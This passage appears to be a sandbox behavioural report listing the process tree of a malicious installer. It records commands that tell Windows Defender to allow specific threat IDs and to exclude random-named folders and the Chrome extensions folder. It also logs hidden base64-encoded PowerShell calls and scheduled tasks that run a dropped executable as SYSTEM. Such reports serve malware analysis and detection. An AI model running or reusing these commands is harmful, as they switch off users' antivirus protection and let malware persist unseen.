      /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
      4⤵
      PID:4000
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell start-process -WindowStyle Hidden gpupdate.exe /force
        5⤵
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        Modifies data under HKEY_USERS
        Suspicious behavior: EnumeratesProcesses
        
        PID:3812
      - C:\Windows\SysWOW64\gpupdate.exe
        
        "C:\Windows\system32\gpupdate.exe" /force
        6⤵
        
        PID:3976
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:5020
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:3960
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
      4⤵
      PID:436
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:4892
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:4940
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:3032
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:3584
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:1360
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:60
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:5096
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:4208
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:4368
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:3580
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:3676
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:764
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:4760
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:4736
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:2308
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:4552
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:3980
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:3764
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:508
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:1424
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:3532
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:1104
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:4704
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:1268
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:4188
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:4120
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:3304
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\HwnzDfNzNWHpPtLDwZR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\HwnzDfNzNWHpPtLDwZR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ecOJmsgAHWlsC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ecOJmsgAHWlsC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\epoBtGYzqLvU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\epoBtGYzqLvU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\qIYKRzUEasUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\qIYKRzUEasUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\zgoZGMcaU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\zgoZGMcaU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\pICeQFkDCDDquYVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\pICeQFkDCDDquYVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\rhuXFflbMyLRQZzPf\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\rhuXFflbMyLRQZzPf\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\nlcUipsDcFbdntMB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\nlcUipsDcFbdntMB\" /t REG_DWORD /d 0 /reg:64;"
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:4948
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\HwnzDfNzNWHpPtLDwZR" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:4108
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\HwnzDfNzNWHpPtLDwZR" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:4568
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\HwnzDfNzNWHpPtLDwZR" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:4520
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ecOJmsgAHWlsC" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:976
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ecOJmsgAHWlsC" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:4416
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\epoBtGYzqLvU2" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:1372
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\epoBtGYzqLvU2" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:700
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\qIYKRzUEasUn" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:2824
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\qIYKRzUEasUn" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:1044
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\zgoZGMcaU" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:4212
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\zgoZGMcaU" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:192
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\pICeQFkDCDDquYVB /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:4836
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\pICeQFkDCDDquYVB /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:4536
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:2252
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:4460
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\rhuXFflbMyLRQZzPf /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:4196
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\rhuXFflbMyLRQZzPf /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:3112
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\nlcUipsDcFbdntMB /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:4672
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\nlcUipsDcFbdntMB /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:4472
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "gjVDHOxya" /SC once /ST 20:42:52 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
  2⤵
  - Creates scheduled task(s)
  PID:3532
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /run /I /tn "gjVDHOxya"
  2⤵
  PID:1900
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "gjVDHOxya"
  2⤵
  PID:4672
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "yfARWRprRqUFWeTGf" /SC once /ST 19:07:59 /RU "SYSTEM" /TR "\"C:\Windows\Temp\nlcUipsDcFbdntMB\LDIxkfUBXQlUStg\XgToBZh.exe\" aV /qRwZdidFE 385118 /S" /V1 /F
  2⤵
  - Drops file in Windows directory
  - Creates scheduled task(s)
  PID:5044
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /run /I /tn "yfARWRprRqUFWeTGf"
  2⤵
  PID:4604

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:204
- C:\Windows\system32\gpupdate.exe
  "C:\Windows\system32\gpupdate.exe" /force
  2⤵
  PID:1936

C:\Users\Admin\AppData\Local\Temp\7zSDC56.tmp\Install.exe
C:\Users\Admin\AppData\Local\Temp\7zSDC56.tmp\Install.exe Wt /hikdidsbSh 385118 /S
1⤵
- Executes dropped EXE
PID:4944
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
  2⤵
  PID:4760
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
    3⤵
    PID:4460
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
      4⤵
      PID:4196
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        5⤵
        
        PID:3980
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
    3⤵
    PID:888
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
      4⤵
      PID:508
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        5⤵
        
        PID:2876
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
    3⤵
    PID:1472
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
      4⤵
      PID:2580
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        5⤵
        
        PID:4916
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
    3⤵
    PID:1876
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
      4⤵
      PID:1032
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        5⤵
        
        PID:4948
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
    3⤵
    PID:3608
  - - C:\Windows\SysWOW64\cmd.exe
      /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
      4⤵
      PID:2532
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell start-process -WindowStyle Hidden gpupdate.exe /force
        5⤵
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        Modifies data under HKEY_USERS
        Suspicious behavior: EnumeratesProcesses
        
        PID:1264
      - C:\Windows\SysWOW64\gpupdate.exe
        
        "C:\Windows\system32\gpupdate.exe" /force
        6⤵
        
        PID:5048
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        7⤵
        
        PID:1308
